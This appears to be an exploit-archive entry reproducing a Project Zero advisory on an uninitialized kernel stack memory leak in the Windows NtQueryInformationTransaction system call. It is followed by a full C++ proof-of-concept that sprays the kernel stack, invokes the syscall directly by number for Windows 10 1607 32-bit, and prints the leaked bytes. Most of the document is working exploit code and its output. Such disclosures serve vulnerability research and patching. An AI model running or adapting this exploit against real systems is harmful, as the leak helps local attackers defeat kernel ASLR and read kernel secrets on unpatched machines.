Microsoft Windows - 'nt!NtQueryInformationTransaction (information class 1)' Kernel Stack Memory D

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1196
 
We have discovered that the nt!NtQueryInformationTransaction system call called with the 1 information class discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.
 
The specific name of the 1 information class or the layout of the corresponding output buffer are unknown to us; however, we have determined that on 32-bit Windows platforms, an output size of 32 bytes and more is accepted. At the end of that memory area, 6 uninitialized bytes from the kernel stack can be leaked to the client application.
 
The attached proof-of-concept program (specific to Windows 10 1607 32-bit) demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with infoclass=1 and the allowed output size. An example output is as follows:
 
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 01 00 00 00 00 00 00 00 00 00 41 41 41 41 41 41 ..........AAAAAA
--- cut ---
 
It is clearly visible here that 6 bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
 
#include <Windows.h>
#include <winternl.h>
#include <KtmW32.h>
#include <cstdio>
 
extern "C"
ULONG WINAPI NtMapUserPhysicalPages(
    PVOID BaseAddress,
    ULONG NumberOfPages,
    PULONG PageFrameNumbers
);
 
// For native 32-bit execution.
extern "C"
ULONG CDECL SystemCall32(DWORD ApiNumber, ...) {
  __asm{mov eax, ApiNumber};
  __asm{lea edx, ApiNumber + 4};
  __asm{int 0x2e};
}
 
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }
 
    printf("\n");
  }
}
 
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}
 
VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static BYTE buffer[4096];
 
  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);
 
  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}
 
int main() {
  // Windows 10 1607 32-bit.
  CONST ULONG __NR_NtQueryInformationTransaction = 0x00b3;
 
  // Create an empty transaction.
  HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
 
  // Spray the kernel stack to get visible results.
  SprayKernelStack();
 
  // Trigger the vulnerability and print out the output structure.
  BYTE output[32] = { /* zero padding */ };
  DWORD ReturnLength;
  NTSTATUS st = SystemCall32(__NR_NtQueryInformationTransaction, hTransaction, 1, output, sizeof(output), &ReturnLength);
 
  if (!NT_SUCCESS(st)) {
    printf("NtQueryInformationTransaction failed, %x\n", st);
    CloseHandle(hTransaction);
    return 1;
  }
 
  PrintHex(output, ReturnLength);
 
  // Free resources.
  CloseHandle(hTransaction);
 
  return 0;
}